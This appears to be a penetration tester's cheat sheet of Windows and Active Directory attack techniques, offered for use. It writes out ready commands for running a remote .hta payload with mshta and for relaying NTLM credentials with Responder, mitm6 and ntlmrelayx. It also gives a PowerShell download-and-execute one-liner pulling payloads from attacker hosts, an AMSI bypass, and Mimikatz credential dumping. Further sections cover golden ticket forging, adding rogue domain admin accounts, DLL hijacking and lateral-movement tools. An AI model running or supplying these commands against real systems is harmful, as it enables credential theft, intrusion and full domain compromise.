Exploit

Code Execution with MSHTA


mshta.exe is a default binary shipped on all versions of Windows which allows the execution of .hta payloads

mshta.exe https://m0chan.com/exploit.hta

LLMNR / NBT-NS Spoofing

#Responder to Steal Creds

git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0


LLMNR and NBT-NS is usually on by default and there purpose is to act as a fallback to DNS. i/e if you search \\HRServer\ but it dosent exist, Windows (by default) will send out a LLMNR broadcast across the network. By using Responder we can respond to these broadcasts and say something like

'Yeah I'm HRServer, authenticate to me and I will get a NTLMv2 hash which I can crack or relay. More on relaying below'

Responder WPAD Attack

responder -I eth0 wpad

By default, Windows is configured to search for a Web Proxy Auto-Discovery file when using the internet

Go to internet explorer and search for Google which automatically searches for a WPAD file... 

Then take NTLMv2 hash and NTLM Relay it or send to cracking rig.

mitm6

#Use when WPAD attack is not working, this uses IPv6 and DNS to relay creds to a target. 

By default IPV6 should be enabled. 
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -d m0chanAD.local

Now the vuln occurs, Windows prefers IPV6 over IPv4 meaning DNS = controlled by attacker. 

ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i

-i opens an interactive shell.

Shout out to hausec for this super nice tip.

SCF File Attack

Create .scf file and drop inside SMB Share and fire up Responder ;) 


Filename = @m0chan.scf

[Shell]
Command=2
IconFile=\\10.10.14.2\Share\test.ico
[Taskbar]

NTLM-Relay

Good article explaining differences between NTLM/Net-NTLMV1&V2

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

You CAN perform Pass-The-Hash attacks with NTLM hashes.
You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

PS: You CANNOT relay a hash back to itself.
PS: SMB Signing must be disabled to mitigate this, you can check with nmap scan or crackmapexec

crackmapexec smb 10.10.14.0/24 --gene-relay-list targets.txt

This will tell you a list of hosts within a subnet which do not have SMB Signing enabled.

python Responder.py -I <interface> -r -d -w
ntlmrelayx.py -tf targets.txt (By default this will dump the local SAM of the targets, not very useful?)

How about we execute a command instead.

ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdasd
ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and execute beacon... = RIP

Meterpreter + Donut - Shellcode Injection .NET

#https://iwantmore.pizza/posts/meterpreter-shellcode-inject.html

A module for executing arbitrary shellcode within Meterpreter aka executing Mimikatz in-memory, reflectively and interactively!

DemiGuise - Encrypted HTA

#https://github.com/nccgroup/demiguise

Run the demiguise.py file, giving it your encryption-key, payload-type, output file-name and command that you want the HTA run.

Example: python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o

Since the tool outputs an HTML file containing JavaScript, you can simply take this JS and host it wherever you like. This means that if your clients website is vulnerable to reflected-XSS, you can use this to serve your HTA file from their (highly trusted) domain.

Also, Outlook doesnt block .html attachments by default , and neither do some other applications - use your imagination! :)

Easy ASMI Bypass (AMSI-Fail)


1. Open powershell, grab a unique AMSI bypass from: https://amsi.fail/

2. Grab your favourite C# assembly from: https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/ these are just the standard C# executables but in a powershell wrapper for reflection.

3. Host these locally and execute via IEX (New-Object net.webclient).downloadstring("http://x.x.x.x./Invoke-Seatbelt.ps1")

Dump Creds

(new-object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz 

Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on this.

mimikatz.exe

sekurlsa::logonPasswords full

The safer method is to dump the process memory of LSASS.exe with MiniDump 
(https://github.com/3xpl01tc0d3r/Minidump)

(or) https://github.com/GhostPack/SharpDump

and send the .bin to Mimikatz locally.

sekurlsa::minidump C:\users\m0chan\lssas.dmp

Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.

DCSync & Golden Ticket in One

#https://raw.githubusercontent.com/vletoux/MakeMeEnterpriseAdmin/master/MakeMeEnterpriseAdmin.ps1


This script will abuse DCSync privileges to extract the krbtgt password and automatically generate a golden ticket before finally importing it into the current session.

You can then add yourself into the Domain Admins / Enterprise Admins group to gain persistance.

.\MakeMeEnterpriseAdmin.ps1

Child Domain to Forest Compromise

Domain = Logical group of objects (users, computers, servers etc etc) supported from a central location like a DC

Tree = Set of domains using same name space (DNS Name)

Trust = Agreement between 2 domains that allow cross-domain access to resources etc. i/e Michelle@dev.m0chan.com may be able to access resources inside HR.m0chan.com.

Forest = Largest Structure composed of all trees.

Most trees are linked with dual sided trust relationships to allow for sharing of resources.

By default the first domain created if the Forest Root.

Lets say we have owned a domain controller and got the KRBTGT Hash (The keys to the castle) we can now create 

Covert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Replace 502 with 519 to represent Enterprise Admins

Create golden ticket and attack parent domain. 


This will not work if there is SID Filtering in place for respective target domain.

harmj0ys article explains it best.

Windows Startup Folder

This has been around for years as basically every version of Windows contains a startup folder. 

Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Current User Startup - C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

EXE/DLL Hijacking

Look for any missing DLL's or EXE's that common programs are calling on startup and over write them with your payload/malware.

Also if you are localadmin/system you could provide over write a normal service binary or DLL, providing you don't break the execution.

Add User Account

net user m0chan /add /domain
net group "Domain Admins" m0chan /add /domain
net localgroup "Administrators" /add
net user m0chan /domain /comment:"Your Blueteam Fucking Sucks"

Persistence with Kerberos

We can dump Kerberos tickets and inject them in session when deemed relevant however tickets have a low life span unless explically requested for 7 days. 

They can be injected into session with mimikatz or Rebeus. 

But let's say we have pwned a DC and got the KRBTGT Hash we can generate a golden ticket with a 10 year life span.

kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi 

SID is the domain SID

Inject Ticket

kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

Can also inject kirbi with Rebeus

SharpExec

#https://github.com/anthemtotheego/SharpExec

C# Implementation of Conventional Lateral Movement Techniques, such as 

-WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's wmiexec.py tool.

-SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature version of Impacket's smbexec.py tool.

-PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System or upload a file and execute it with or without arguments as NT Authority\System.

-WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it with or without arguments as the user.

MSBuild PSAttack :D :D

PSAttack

#https://github.com/jaredhaight/PSAttack

Use if Powershell.exe is not available. this does not rely on powershell.exe, but Instead directly calls powershell through .NET Framework circumvating most application whitelisting etc.

Has numerous modules prebuilt in and is built in C Sharp / .NET so can be reflectively loaded :)

NoPowerShell

#https://github.com/bitsadmin/nopowershell

Primiarily to be used with Cobalt & Execute Assembly but can also be reflectively loaded from any other C2 infra.
